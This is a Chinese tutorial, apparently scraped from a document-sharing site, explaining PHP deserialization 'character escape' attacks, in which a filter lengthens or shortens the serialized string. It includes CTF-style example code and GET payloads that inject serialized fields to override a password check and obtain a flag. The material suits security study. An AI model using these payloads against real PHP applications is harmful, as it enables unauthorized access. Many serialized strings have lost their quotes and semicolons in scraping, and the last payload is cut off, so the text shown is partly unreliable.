




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
第詳解php反序列化之字符逃逸法目錄1.先說關(guān)鍵字符變多例題1例題22.關(guān)鍵字符減少總結(jié)按我的理解,反序列化的過程就是碰到;}與最前面的{配對(duì)后,便停止反序列化。如下序列化:
php
classTest{
public$a="aa";
public$b="bbb";
public$c="cccc";
$qwe=newTest();
echoserialize($qwe);
輸出序列化結(jié)果為:O:4:Test:3:{s:1:as:2:aas:1:bs:3:bbbs:1:cs:4:cccc}
添加;}進(jìn)行嘗試:
O:4:Test:3:{s:1:as:2:aas:1:bs:3:bbbs:1:cs:4:cccc}修改為
O:4:Test:3:{s:1:as:2:aas:1:bs:3:bbbs:1:cs:4:cccc}hahhahha并嘗試反序列化
print_r(serialize($qwe));
echo"
print_r(unserialize('O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhaha'));
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
TestObject
[a]=aa
[b]=bbb
[c]=cccc
我們發(fā)現(xiàn)成功進(jìn)行了反序列化操作,并且沒有出現(xiàn)報(bào)錯(cuò),因此可以說明反序列化以;}為結(jié)束標(biāo)志,后面的內(nèi)容則忽略不管。由此是不是想到了sql注入的相關(guān)知識(shí)?二者確實(shí)有一定的可類比性,都是通過構(gòu)造閉合的方式構(gòu)造payload,只不過字符逃逸構(gòu)造閉合注意點(diǎn)在長(zhǎng)度,因?yàn)殚]合標(biāo)志固定,都是;}
值得一提的是,php中可以通過修改序列化后的字符串來反序列化出原本類中不存在的元素,如下:
在unserialize的時(shí)候,當(dāng)你的字符串長(zhǎng)度與所描述的長(zhǎng)度不一樣時(shí)就會(huì)報(bào)錯(cuò).比如s:3:Tom變成s:4:Tom或s:2:Tom就會(huì)報(bào)錯(cuò).可以通過拼接字符串的方式來使它不報(bào)錯(cuò)
所以字符逃逸又分為兩類
關(guān)鍵字符變多和關(guān)鍵字符變少
1.先說關(guān)鍵字符變多
反序列化逃逸的題目,會(huì)使用preg_replace函數(shù)替換關(guān)鍵字符,會(huì)使得關(guān)鍵字符增多或減少,首先介紹使關(guān)鍵字符增多的。
php
highlight_file(__file__);
functionfilter($str){
returnstr_replace('l','ll',$str);
classperson{
public$name='lonmar';
public$age='100';
$test=newperson();
$test=serialize($test);
echo"/br
print_r($test);
echo"/br
$test=filter($test);
print_r($test);
print_r(unserialize($test));
因?yàn)樘鎿Q過后,實(shí)際長(zhǎng)度為7,而描述長(zhǎng)度為6,少讀了一個(gè)r所以失敗
這種字符增多是反序列化失敗是因?yàn)槁┳x了字符串的value,如果構(gòu)造惡意的value,再故意漏讀
如令$name=lonmars:3:ages:2:35}
如果再進(jìn)行替換,lonmar=llonmar,后面的}又讀不到
再多幾個(gè)l,lllllllllllllllllllllonmar=llllllllllllllllllllllllllllllllllllllllllonmar,s:3:ages:2:35}就又讀不到
只能讀到lllllllllllllllllllllonmar這樣后面的;s:3:ages:2:35}就逃逸掉了,逃逸掉的字符串可以把原來后面的正常序列化數(shù)據(jù)提前閉合掉.(閉合條件}
;s:3:ages:2:35}長(zhǎng)度是22,所以只需要22個(gè)l,如下:
php
functionfilter($str){
returnstr_replace('l','ll',$str);
classperson{
public$name='llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}';
public$age='100';
$test=newperson();
$test=serialize($test);
var_dump($test);
$test=filter($test);
var_dump($test);
var_dump(unserialize($test));
可以觀察到age變成了35,name不是llllllllllllllllllllllllllllllllllllllllllllonmars:3:ages:2:35}而是llllllllllllllllllllllllllllllllllllllllllllonmar因?yàn)?s:3:ages:2:35}逃逸,之后終止標(biāo)志變成了;s:3:ages:2:35}里的;}后面的就被忽略了。
例題1
php
error_reporting(0);
classa
public$uname;
public$password;
publicfunction__construct($uname,$password)
$this-uname=$uname;
$this-password=$password;
publicfunction__wakeup()
if($this-password==='yu22x')
include('flag.php');
echo$flag;
else
echo'wrongpassword';
functionfilter($string){
returnstr_replace('Firebasky','Firebaskyup',$string);
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(newa($uname,$password)));
$test=unserialize($ser);
這里要求password=yu22x,但是password的值已經(jīng)設(shè)置好了,這里就是用反序列化字符逃逸使得原本的密碼不被反序列化。先進(jìn)行序列化,在本地測(cè)試,可以將密碼先改為yu22x,然后進(jìn)行序列化,
$uname=$_GET[1];
$password='yu22x';
$ser=filter(serialize(newa($uname,$password)));
//$test=unserialize($ser);
var_dump($ser);
得到結(jié)果
O:1:a:2:{s:5:unames:1:s:8:passwords:5:yu22x}
需要吞掉的部分是s:8:passwords:5:yu22x}這是30個(gè)字符,每替換一次增加2個(gè)字符,所以需要15個(gè)Firebasky才可以,所以構(gòu)造payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskys:8:passwords:5:yu22x}
這是需要當(dāng)作username傳入的參數(shù),其實(shí)整個(gè)是
O:1:a:2:{s:5:unames:1:1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskys:8:passwords:5:yu22x}s:8:passwords:5:yu22x}
到第一個(gè);}就會(huì)停止反序列化,更改的參數(shù)也是正確的,所以后面的password=1的部分就會(huì)被吞掉(忽略)。反序列化成功就會(huì)得到flag。
例題2
上面那個(gè)是剛好夠30個(gè)被吞掉,每替換一次吞掉兩個(gè)字符。所以算起來比較方便。這個(gè)是不一樣的。
#unctf
php
error_reporting(0);
highlight_file(__FILE__);
classa
public$uname;
public$password;
publicfunction__construct($uname,$password)
$this-uname=$uname;
$this-password=$password;
publicfunction__wakeup()
if($this-password==='easy')
include('flag.php');
echo$flag;
else
echo'wrongpassword';
functionfilter($string){
returnstr_replace('challenge','easychallenge',$string);
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(newa($uname,$password)));
$test=unserialize($ser);
還是在本地替換,替換正確密碼。序列化結(jié)果。
O:1:a:2:{s:5:unames:1:s:8:passwords:4:easy}
這個(gè)是替換一次,增加四個(gè)。而需要吞掉s:8:passwords:4:easy}29個(gè)字符無法正好替換,前面使用7個(gè),則少一個(gè),使用8個(gè),則會(huì)多7個(gè)字符。所以這里可以使用8個(gè),后面使用一下占位符讓其吞掉,比如;我理解的是因?yàn)橛龅?}才會(huì)結(jié)束反序列化,所以在;前面加7個(gè);使得反序列化成功。
1=challengechallengechallengechallengechallengechallengechallengechallengechallenges:8:passwords:4:easy};;;;;;;
或者
1=challengechallengechallengechallengechallengechallengechallengechallengechallenges:8:passwords:4:easy;;;;;;}
兩個(gè)payload都一樣的,可以序列化成功,得到flag
2.關(guān)鍵字符減少
在增加字符串的題目中,我們是利用題中的增加操作,阻止他進(jìn)行向后吞噬我們構(gòu)造的代碼,而在字符減少的過程中,我們也是利用這個(gè)操作.
php
highlight_file(__file__);
functionfilter($str){
returnstr_replace('ll','l',$str);
classperson{
public$name='lonmar';
public$age='100';
同樣的,如果構(gòu)造惡意的age,讓反序列化的時(shí)候多讀,把a(bǔ)ge一部分讀進(jìn)去同樣可以達(dá)到某種目的
正常的數(shù)據(jù)O:6:person:2:{s:4:names:6:lonmars:3:ages:3:xxx}
如果做替換,讓也s:3:ages:3:被讀進(jìn)name,再把xxx替換為;s:3:ages:3:100}
令$age=123s:3:ages:3:100}
O:6:person:2:{s:4:names:47:llllllllllllllllllllllllllllllllllllllllllonmars:3:ages:26:123s:3:a
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年企業(yè)管理師考試試題及答案拓展
- 2025年統(tǒng)計(jì)師職業(yè)資格考試試卷及答案
- 2025年數(shù)字營(yíng)銷師考試試題及答案
- 2025年護(hù)理管理與實(shí)踐考試試題及答案
- 2025年創(chuàng)意寫作與文學(xué)分析考試卷及答案
- 知識(shí)產(chǎn)權(quán)收益分割與科技成果轉(zhuǎn)化合作協(xié)議
- 金融機(jī)構(gòu)間貨幣結(jié)算服務(wù)協(xié)議補(bǔ)充
- 離職人員保密協(xié)議與競(jìng)業(yè)限制合同(體育用品行業(yè))
- 購(gòu)物中心珠寶區(qū)品牌租賃與區(qū)域市場(chǎng)合作合同
- 城市級(jí)停車誘導(dǎo)系統(tǒng)與城市供電合同
- 小學(xué)五年級(jí)數(shù)學(xué)奧林匹克競(jìng)賽試卷及答案
- 人教PEP版英語(yǔ)六上Unit 5《What does he do》(B Let's learn)說課稿
- DL∕T 5494-2014 電力工程場(chǎng)地地震安全性評(píng)價(jià)規(guī)程
- DL∕T 1630-2016 氣體絕緣金屬封閉開關(guān)設(shè)備局部放電特高頻檢測(cè)技術(shù)規(guī)范
- 2024年西藏自治區(qū)初中學(xué)業(yè)水平考試化學(xué)實(shí)驗(yàn)操作考試
- 公園設(shè)施維修投標(biāo)方案
- 當(dāng)代世界經(jīng)濟(jì)與政治 第八版 課件 第一章 當(dāng)代世界政治
- PICC置管健康教育-
- 中康科技騰訊健康:2024年消費(fèi)者健康洞察呼吸系列報(bào)告-哮喘篇
- 畢業(yè)設(shè)計(jì)設(shè)計(jì)書電子商務(wù)
- 2023年4月自考00372公安信息學(xué)試題及答案含解析
評(píng)論
0/150
提交評(píng)論